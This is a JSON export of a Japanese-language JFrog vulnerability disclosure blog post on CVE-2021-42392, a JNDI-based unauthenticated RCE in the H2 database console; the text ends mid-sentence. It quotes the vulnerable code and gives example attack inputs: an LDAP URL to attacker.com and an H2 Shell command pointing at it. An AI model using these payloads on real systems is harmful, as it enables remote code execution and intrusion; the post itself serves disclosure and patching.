{"id":87771,"date":"2022-01-07T11:19:42","date_gmt":"2022-01-07T09:19:42","guid":{"rendered":"https:\/\/jfrog.com\/?p=87771"},"modified":"2022-01-11T02:37:12","modified_gmt":"2022-01-11T00:37:12","slug":"the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console","status":"publish","type":"post","link":"https:\/\/jfrog.com\/ja\/blog\/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console\/","title":{"rendered":"\u518d\u3073 JNDI \u306e\u8106\u5f31\u6027\uff01 \u30fc H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30b3\u30f3\u30bd\u30fc\u30eb\u306b\u304a\u3051\u308b\u672a\u8a8d\u8a3c\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c"},"content":{"rendered":"

\"JNDI<\/p>\n

\u30d7\u30ed\u30ed\u30fc\u30b0<\/h2>\n

JFrog \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30ea\u30b5\u30fc\u30c1\u30c1\u30fc\u30e0\u306f\u3001H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u8106\u5f31\u6027\u3092\u516c\u958b\u3057\u3001\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u306a CVE-2021-42392<\/a> \u304c\u767a\u884c\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u554f\u984c\u306f\u3001Apache Log4j \u306e\u60aa\u540d\u9ad8\u3044 Log4Shell<\/a>\uff08JNDI \u30ea\u30e2\u30fc\u30c8\u30af\u30e9\u30b9\u30ed\u30fc\u30c7\u30a3\u30f3\u30b0\uff09\u3068\u540c\u3058\u8981\u56e0\u304b\u3089\u6765\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n

H2 \u306f\u3001\u975e\u5e38\u306b\u4eba\u6c17\u306e\u3042\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306e Java SQL \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3067\u3001\u30c7\u30fc\u30bf\u3092\u30c7\u30a3\u30b9\u30af\u306b\u4fdd\u5b58\u3059\u308b\u5fc5\u8981\u304c\u306a\u3044\u3001\u8efd\u91cf\u306e\u30a4\u30f3\u30e1\u30e2\u30ea\u30fb\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3092\u63d0\u4f9b\u3059\u308b\u3082\u306e\u3067\u3059\u3002\u3053\u306e\u305f\u3081\u3001Spring Boot<\/a> \u306a\u3069\u306e Web \u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u304b\u3089 ThingWorks<\/a> \u306a\u3069\u306e IoT \u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u307e\u3067\u3001\u3055\u307e\u3056\u307e\u306a\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u4eba\u6c17\u306e\u30c7\u30fc\u30bf\u30b9\u30c8\u30ec\u30fc\u30b8\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002com.h2database:h2<\/a> \u30d1\u30c3\u30b1\u30fc\u30b8\u306f\u3001\u6700\u3082\u4eba\u6c17\u306e\u3042\u308b Maven \u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30c8\u30c3\u30d7 50 \u306e\u4e00\u90e8\u3067\u3042\u308a\u3001\u304a\u3088\u305d 7,000 \u306e\u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8\u304c\u4f9d\u5b58<\/strong>\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n

\uff08Java\uff09JNDI \u306b\u95a2\u9023\u3059\u308b\u3042\u3089\u3086\u308b\u3082\u306e\u304c\u73fe\u5728\u4e16\u306e\u4e2d\u304c\u904e\u654f\u306a\u72b6\u6cc1\u3067\u3042\u308b\u305f\u3081\u3001\u4eca\u56de\u306e H2 \u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u6280\u8853\u7684\u306a\u8a73\u7d30\u8aac\u660e\u306b\u5165\u308b\u524d\u306b\u3001\u5371\u967a\u306b\u306a\u308b\u524d\u63d0\u3084\u8a2d\u5b9a\u3092\u307e\u305a\u660e\u3089\u304b\u306b\u3057\u307e\u3059\u3002<\/p>\n

\u6839\u672c\u7684\u306a\u539f\u56e0\u304c\u985e\u4f3c\u3057\u305f\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u306a\u554f\u984c\u3067\u306f\u3042\u308b\u3082\u306e\u306e\u3001\u6b21\u306e\u8981\u56e0\u306b\u3088\u308a CVE-2021-42392 \u306f\u3001Log4Shell (CVE-2021-44228) \u307b\u3069\u306f\u5e83\u307e\u3089\u306a\u3044<\/span>\u3068\u8003\u3048\u307e\u3059\u3002<\/p>\n

    \n
  1. Log4Shell\u3068\u306f\u7570\u306a\u308a\u3001\u3053\u306e\u8106\u5f31\u6027\u306b\u306f\u300c\u76f4\u63a5\u7684\u306a\u300d\u5f71\u97ff\u7bc4\u56f2\u3068\u3044\u3046\u3082\u306e\u304c\u3042\u308a\u307e\u3059\u3002\u3059\u306a\u308f\u3061\u3001\u6700\u521d\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u51e6\u7406\u3059\u308b\u30b5\u30fc\u30d0\uff08H2\u30b3\u30f3\u30bd\u30fc\u30eb\uff09\u304c\u3001RCE\u306e\u5f71\u97ff\u3092\u53d7\u3051\u308b\u5178\u578b\u7684\u306a\u30b5\u30fc\u30d0\u3068\u306a\u308a\u307e\u3059\u3002\u8106\u5f31\u306a\u30b5\u30fc\u30d0\u3092\u898b\u3064\u3051\u3084\u3059\u3044\u305f\u3081\u3001Log4Shell\u3068\u6bd4\u8f03\u3057\u3066\u6df1\u523b\u5ea6\u306f\u4f4e\u304f\u306a\u308a\u307e\u3059\u3002<\/li>\n
  2. \u00a0H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u30d0\u30cb\u30e9 \u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u306f localhost \u306e\u307f\u3092\u5f85\u3061\u53d7\u3051\u3059\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u304a\u308a\u3001\u3053\u306e\u8a2d\u5b9a\u3067\u306f\u5b89\u5168\u3067\u3059\u3002\u3053\u306e\u70b9\u306f\u3001Log4j \u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u3067\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u53ef\u80fd\u3060\u3063\u305f Log4Shell \u3068\u306f\u7570\u306a\u308a\u307e\u3059\u3002\u3057\u304b\u3057\u3001H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u306f\u30ea\u30e2\u30fc\u30c8\u63a5\u7d9a\u3092\u5f85\u3061\u53d7\u3051\u3059\u308b\u3088\u3046\u306b\u7c21\u5358\u306b\u5909\u66f4\u3067\u304d\u308b\u3053\u3068\u306b\u6ce8\u610f\u304c\u5fc5\u8981\u3067\u3059\u3002<\/li>\n
  3. \u591a\u304f\u306e\u30d9\u30f3\u30c0\u3067\u306f\u3001\u305f\u3068\u3048 H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u5b9f\u884c\u3057\u3066\u3044\u3066\u3082\u3001H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u5b9f\u884c\u3057\u3066\u3044\u307e\u305b\u3093\u3002\u30b3\u30f3\u30bd\u30fc\u30eb\u4ee5\u5916\u306b\u3082\u3053\u306e\u8106\u5f31\u6027\u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3059\u308b\u30d9\u30af\u30bf\u306f\u3042\u308a\u307e\u3059\u304c\u3001\u3053\u308c\u3089\u306e\u4ed6\u306e\u30d9\u30af\u30bf\u306f\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306b\u4f9d\u5b58\u3059\u308b\u305f\u3081\u3001\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u306e\u96e3\u5ea6\u306f\u4e0a\u304c\u308a\u307e\u3059\u3002<\/li>\n<\/ol>\n

    \u3068\u306f\u3044\u3048\u3001LAN\uff08\u6700\u60aa\u306e\u5834\u5408 WAN\uff09\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u308b H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u3053\u306e\u554f\u984c\u306f\u6975\u3081\u3066\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\uff08\u672a\u8a8d\u8a3c\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\uff09\u3067\u3059\u306e\u3067\u3001\u76f4\u3061\u306bH2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u30d0\u30fc\u30b8\u30e7\u30f3 2.0.206 \u306b\u30d0\u30fc\u30b8\u30e7\u30f3\u30a2\u30c3\u30d7\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981<\/strong>\u3067\u3059\u3002<\/p>\n

    \u307e\u305f\u3001\u591a\u304f\u306e\u958b\u767a\u30c4\u30fc\u30eb\u304c H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u4f9d\u5b58\u3057\u3001\u7279\u306b H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u516c\u958b\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\uff08\u3044\u304f\u3064\u304b\u306e\u4f8b\u306f\u3053\u306e\u30d6\u30ed\u30b0\u306e\u5f8c\u534a\u306b\u8a18\u8f09\uff09\u3002\u4eba\u6c17\u306e\u3042\u308b\u30ea\u30dd\u30b8\u30c8\u30ea\u306b\u60aa\u610f\u3042\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u304c\u5b58\u5728\u3059\u308b<\/a>\u306a\u3069\u3001\u958b\u767a\u8005\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u3068\u3057\u305f\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3068\u3044\u3046\u6628\u4eca\u306e\u50be\u5411\u306f\u3001\u958b\u767a\u8005\u30c4\u30fc\u30eb\u304c\u3059\u3079\u3066\u306e\u5408\u7406\u7684\u306a\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u306b\u5bfe\u3057\u3066\u5b89\u5168\u3067\u3042\u308b\u3053\u3068\u306e\u91cd\u8981\u6027\u3092\u3088\u308a\u9ad8\u3081\u3066\u3044\u307e\u3059\u3002\u4eca\u56de\u306e\u4fee\u6b63\u304c\u9069\u7528\u3055\u308c\u305f\u5f8c\u3001\u591a\u304f\u306e H2 \u4f9d\u5b58\u306e\u958b\u767a\u8005\u7528\u30c4\u30fc\u30eb\u3082\u3088\u308a\u5b89\u5168\u306b\u306a\u308b\u3053\u3068\u304c\u671b\u307e\u308c\u307e\u3059\u3002<\/p>\n

    JFrog \u306f\u306a\u305cJNDI\u306e\u8106\u5f31\u6027\u3092\u30b9\u30ad\u30e3\u30f3\u3059\u308b\u306e\u304b\uff1f<\/h2>\n

    Log4Shell \u306e\u8106\u5f31\u6027\u306e\u6df7\u4e71\u304b\u3089\u79c1\u305f\u3061\u304c\u5f97\u305f\u91cd\u8981\u306a\u30dd\u30a4\u30f3\u30c8\u306e\uff11\u3064\u306f\u3001JNDI \u304c\u5e83\u304f\u4f7f\u308f\u308c\u3066\u3044\u308b\u305f\u3081\u3001Log4Shell \u3068\u540c\u3058\u6839\u672c\u539f\u56e0\u3001\u3064\u307e\u308a\u4efb\u610f\u306e JNDI \u30eb\u30c3\u30af\u30a2\u30c3\u30d7 URL \u3092\u53d7\u3051\u5165\u308c\u308b\u3053\u3068\u306b\u3088\u308b\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u304c\u3088\u308a\u591a\u304f\u5b58\u5728\u3059\u308b\u306b\u9055\u3044\u306a\u3044\u3068\u3044\u3046\u3053\u3068\u3067\u3057\u305f\u3002\u305d\u3053\u3067\u3001Log4Shell \u3068\u540c\u69d8\u306e\u554f\u984c\u3092\u898b\u3064\u3051\u3089\u308c\u308b\u3088\u3046\u306b\u3001\u81ea\u52d5\u5316\u3055\u308c\u305f\u8106\u5f31\u6027\u691c\u51fa\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u8abf\u6574\u3057\u3001javax.naming.Context.lookup<\/code> \u95a2\u6570\u3092\u5371\u967a\u306a\u95a2\u6570\uff08sink\u00a0 \u30fc \u30b7\u30f3\u30af \u30fc \u8106\u5f31\u306a\u30dd\u30a4\u30f3\u30c8\uff09\u3068\u3057\u3066\u4f4d\u7f6e\u3065\u3051\u3001\u305d\u306e\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306b\u3088\u308b\u30b9\u30ad\u30e3\u30f3\u3092 Maven \u30ec\u30dd\u30b8\u30c8\u30ea<\/a>\u306b\u96c6\u4e2d\u3057\u3066\u5b9f\u65bd\u3057\u307e\u3057\u305f\u3002<\/p>\n

    \u6700\u521d\u306e\u30b9\u30ad\u30e3\u30f3\u3067\u30d2\u30c3\u30c8\u3057\u305f\u3082\u306e\u306e\u4e00\u3064\u304c\u3001H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u3067\u3057\u305f\u3002JFrog \u306f\u3053\u306e\u554f\u984c\u3092\u78ba\u8a8d\u3057\u305f\u5f8c\u3001H2 \u306e\u30e1\u30f3\u30c6\u30ca\u30f3\u30b9\u30c1\u30fc\u30e0\u306b\u5831\u544a\u3057\u307e\u3057\u305f\u3002\u30e1\u30f3\u30c6\u30ca\u30f3\u30b9\u30c1\u30fc\u30e0\u306f\u901f\u3084\u304b\u306b\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u30ea\u30ea\u30fc\u30b9\u3059\u308b\u3053\u3068\u3067\u554f\u984c\u3092\u4fee\u6b63\u3057\u3001\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u306a GitHub \u30a2\u30c9\u30d0\u30a4\u30b6\u30ea<\/a>\u3092\u4f5c\u6210\u3057\u307e\u3057\u305f\u3002\u7d9a\u3044\u3066\u3001\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u306a CVE-2021-4239<\/a> \u3092\u767a\u884c\u3057\u307e\u3057\u305f\u3002<\/p>\n

    \u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u3001H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3067\u767a\u898b\u3057\u305f\u3001\u30ea\u30e2\u30fc\u30c8\u3067\u306e JNDI \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306e\u30c8\u30ea\u30ac\u3092\u53ef\u80fd\u306b\u3059\u308b\u3044\u304f\u3064\u304b\u306e\u653b\u6483\u30d9\u30af\u30bf\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002\u305d\u306e\u3046\u3061\u306e\uff11\u3064\u306f\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n

    \u8106\u5f31\u6027\u306e\u6839\u672c\u539f\u56e0 \u30fc JNDI \u30ea\u30e2\u30fc\u30c8\u30af\u30e9\u30b9\u30ed\u30fc\u30c7\u30a3\u30f3\u30b0<\/h2>\n

    \u4e00\u8a00\u3067\u8a00\u3048\u3070\u3001\u6839\u672c\u7684\u306a\u539f\u56e0\u306f Log4Shell \u306b\u985e\u4f3c\u3057\u307e\u3059\u3002H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9 \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u3044\u304f\u3064\u304b\u306e\u30b3\u30fc\u30c9\u30d1\u30b9\u304c\u3001\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3055\u308c\u305a\u3001\u305d\u3057\u3066\u653b\u6483\u8005\u304c\u64cd\u308b URL \u3092
    \njavax.naming.Context.lookup<\/code> \u95a2\u6570\u306b\u6e21\u3059\u3053\u3068\u3067\u3001\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u306e\u8aad\u307f\u8fbc\u307f\uff08\u5225\u540d\uff1aJava \u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\uff09\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n

    \u5177\u4f53\u7684\u306b\u306f\u3001org.h2.util.JdbcUtils.getConnection<\/code> \u30e1\u30bd\u30c3\u30c9\u306f\u3001\u30c9\u30e9\u30a4\u30d0\u306e\u30af\u30e9\u30b9\u540d\u3068\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e URL \u3092\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u3057\u3066\u53d7\u3051\u53d6\u308a\u307e\u3059\u3002\u30c9\u30e9\u30a4\u30d0\u306e\u30af\u30e9\u30b9\u304c javax.naming.Context<\/code> \u30af\u30e9\u30b9\u306b\u5272\u308a\u5f53\u3066\u53ef\u80fd\u306a\u5834\u5408\u3001\u3053\u306e\u30e1\u30bd\u30c3\u30c9\u306f\u305d\u306e\u30af\u30e9\u30b9\u304b\u3089\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u5316\u3057\u3001\u305d\u306e lookup \u30e1\u30bd\u30c3\u30c9\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002<\/p>\n

    else if (javax.naming.Context.class.isAssignableFrom(d)) {\r\n    \/\/ JNDI context\r\n    Context context = (Context) d.getDeclaredConstructor().newInstance();\r\n    DataSource ds = (DataSource) context.lookup(url);\r\n    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {\r\n        return ds.getConnection();\r\n    }\r\n    return ds.getConnection(user, password);\r\n}<\/code><\/pre>\n
    javax.naming.InitialContext<\/code> \u306a\u3069\u306e\u30c9\u30e9\u30a4\u30d0 \u30af\u30e9\u30b9\u3068 ldap:\/\/attacker.com\/Exploit<\/code> \u306e\u3088\u3046\u306aURL\u3092\u63d0\u4f9b\u3059\u308b\u3068\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002<\/p>\n
    \u3053\u306e\u653b\u6483\u306e\u6d41\u308c\u3092\u307e\u3063\u305f\u304f\u77e5\u3089\u306a\u3044\u3068\u3044\u3046\u4eba\u306f\u3082\u306f\u3084\u5c11\u6570\u6d3e\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u304c\u3001\u3053\u3053\u3067\u8996\u899a\u5316\u3057\u3066\u304a\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n
    \"JNDI<\/p>\n
    CVE-2021-42392 \u306e\u653b\u6483\u30d9\u30af\u30bf<\/h2>\n
    H\uff12\u30b3\u30f3\u30bd\u30fc\u30eb \u30fc \u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306b\u4f9d\u5b58\u3057\u306a\u3044\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044 RCE<\/h3>\n
    \u3053\u306e\u8106\u5f31\u6027\u306e\u6700\u3082\u6df1\u523b\u306a\u653b\u6483\u30d9\u30af\u30bf\u306f\u3001H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u4ecb\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n
    H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u306f Web \u30d9\u30fc\u30b9\u306e\u30b3\u30f3\u30bd\u30fc\u30eb<\/a>\u304c\u7d44\u307f\u8fbc\u307e\u308c\u3066\u304a\u308a\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u7ba1\u7406\u3092\u5bb9\u6613\u306b\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u30b3\u30f3\u30bd\u30fc\u30eb\u306f\u3001JAR \u3092\u6b21\u306e\u3088\u3046\u306b\u5b9f\u884c\u3059\u308b\u3068\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 http:\/\/localhost:8082 \u306b\u3066\u30b5\u30fc\u30d3\u30b9\u304c\u958b\u59cb\u3055\u308c\u307e\u3059\u3002<\/p>\n
    java -jar bin\/h2.jar<\/code><\/pre>\n
    \u3042\u308b\u3044\u306f Windows \u3067\u306f\u3001\u30b9\u30bf\u30fc\u30c8\u30e1\u30cb\u30e5\u30fc\u304b\u3089\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002<\/p>\n
    \"Windows<\/p>\n
    \u3055\u3089\u306b\u3001H2 \u3092\u7d44\u307f\u8fbc\u307f\u30e9\u30a4\u30d6\u30e9\u30ea\u3068\u3057\u3066\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u3001Java \u304b\u3089\u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u8d77\u52d5\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n
    h2Server = Server.createWebServer(\"-web\", \"-webAllowOthers\", \"-webPort\", \"8082\");\r\nh2Server.start();<\/code><\/pre>\n
    \u30b3\u30f3\u30bd\u30fc\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306f\u3001\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3067\u4fdd\u8b77\u3055\u308c\u3066\u304a\u308a\u3001”driver “\u3068 “url “\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u306e\u5165\u529b\u5024\u304c JdbcUtils.getConnection<\/code> \u306e\u5bfe\u5fdc\u3059\u308b\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u6e21\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30d5\u30ed\u30fc\u3067\u306f\u3001\u30e6\u30fc\u30b6\u540d\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u691c\u8a3c\u3055\u308c\u308b\u524d\u306b URL \u6307\u5b9a\u306e\u691c\u7d22\uff08\u4f8b\u3067\u306f LDAP \u691c\u7d22\uff09\u304c\u5b9f\u65bd\u3055\u308c\u308b\u305f\u3081\u3001\u8a8d\u8a3c\u3055\u308c\u306a\u3044 RCE \u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002<\/p>\n
    \"Generic<\/p>\n
    \u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u3001H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u306f\u30ed\u30fc\u30ab\u30eb\u30db\u30b9\u30c8\u304b\u3089\u3057\u304b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u305b\u3093\u3002\u3053\u306e\u8a2d\u5b9a\u306f\u3001\u30b3\u30f3\u30bd\u30fc\u30eb\u306e UI \u304b\u3089\u5909\u66f4\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n
    \"H2<\/p>\n
    \u307e\u305f\u306f\u3001\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u5f15\u6570\u3067 -webAllowOthers<\/code> \u3092\u6307\u5b9a\u3057\u3066\u3082\u540c\u69d8\u3067\u3059\u3002<\/p>\n
    \u3057\u304b\u3057\u6b8b\u5ff5\u306a\u304c\u3089\u3001H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u4f9d\u5b58\u3059\u308b\u3044\u304f\u3064\u304b\u306e\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u30c4\u30fc\u30eb\u306f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067<\/strong>\u30ea\u30e2\u30fc\u30c8\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306b\u516c\u958b\u3055\u308c\u305f H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001JHipster \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af<\/a>\u3082 H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u516c\u958b\u3057\u3066\u304a\u308a\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 webAllowOther<\/code> \u30d7\u30ed\u30d1\u30c6\u30a3\u3092 true<\/code> \u306b\u8a2d\u5b9a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n
    # H2 Server Properties\r\n0=JHipster H2 (Memory)|org.h2.Driver|jdbc\\:h2\\:mem\\:jhbomtest|jhbomtest\r\nwebAllowOthers=true\r\nwebPort=8092\r\nwebSSL=false<\/code><\/pre>\n
    \u30c9\u30ad\u30e5\u30e1\u30f3\u30c8<\/a>\u306b\u3042\u308b\u3088\u3046\u306b\u3001JHipster \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u3066\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3059\u308b\u5834\u5408\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u3001H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u306f JHipster Web \u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306e \/h2-console<\/code> \u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3067\u5229\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n
    \"JHipster<\/p>\n
    H2 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306f\u975e\u5e38\u306b\u591a\u304f\u306e\u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u305f\u3081\u3001H2 \u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u8106\u5f31\u306a\u30c7\u30d7\u30ed\u30a4\u30e1\u30f3\u30c8\u304c\u3069\u308c\u3060\u3051\u591a\u304f\u5b58\u5728\u3059\u308b\u304b\u3092\u5b9a\u91cf\u7684\u306b\u793a\u3059\u3053\u3068\u306f\u56f0\u96e3\u3067\u3059\u3002\u3057\u304b\u3057\u306a\u304c\u3089\u3001\u30d1\u30d6\u30ea\u30c3\u30af\u306a\u691c\u7d22\u30c4\u30fc\u30eb\u306b\u3088\u3063\u3066 WAN \u306b\u9762\u3057\u305f\u8106\u5f31\u306a\u30b3\u30f3\u30bd\u30fc\u30eb\u3092\u898b\u3064\u3051\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3042\u308b\u3068\u3044\u3046\u4e8b\u5b9f\u304b\u3089\u3082\u3001\u3053\u308c\u304c\u6700\u3082\u6df1\u523b\u306a\u653b\u6483\u30d9\u30af\u30bf\u3067\u3042\u308b\u3068\u8003\u3048\u307e\u3059\u3002<\/p>\n
    H\uff12Shell \u30c4\u30fc\u30eb \u30fc \u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u4f9d\u5b58\u306eRCE<\/h3>\n
    \u30d3\u30eb\u30c8\u30a4\u30f3\u306e H2 Shell<\/a> \u3067\u306f\u3001\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u5f15\u6570\u3092\u64cd\u4f5c\u3067\u304d\u308b\u653b\u6483\u8005\u304c\u3001\u3059\u3067\u306b\u8ff0\u3079\u305f\u3088\u3046\u306a\u8106\u5f31\u306a driver<\/code> \u3068 url<\/code> \u3092\u6307\u5b9a\u3067\u304d\u307e\u3059\u3002<\/p>\n
    java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap:\/\/attacker.com:1387\/Exploit<\/code><\/pre>\n
    \u3053\u306e\u653b\u6483\u30d9\u30af\u30bf\u306f\u3001\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u5165\u529b\u3092\u3053\u308c\u3089\u306e\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u5f15\u6570\u306b\u30d1\u30a4\u30d7\u3059\u308b\u305f\u3081\u306e\u30ab\u30b9\u30bf\u30e0\u30b3\u30fc\u30c9\u304c\u5fc5\u8981\u306a\u305f\u3081\u3001\u653b\u6483\u5b9f\u73fe\u53ef\u80fd\u6027\u306f\u6975\u3081\u3066\u4f4e\u3044\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002\u3082\u3057\u3053\u306e\u3088\u3046\u306a\u30ab\u30b9\u30bf\u30e0\u30b3\u30fc\u30c9\u304c\u5b58\u5728\u3059\u308b\u306a\u3089\u3070\u3001\u3059\u306a\u308f\u3061\u653b\u6483\u8005\u304c\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u306e\u4e00\u90e8\u3092\u64cd\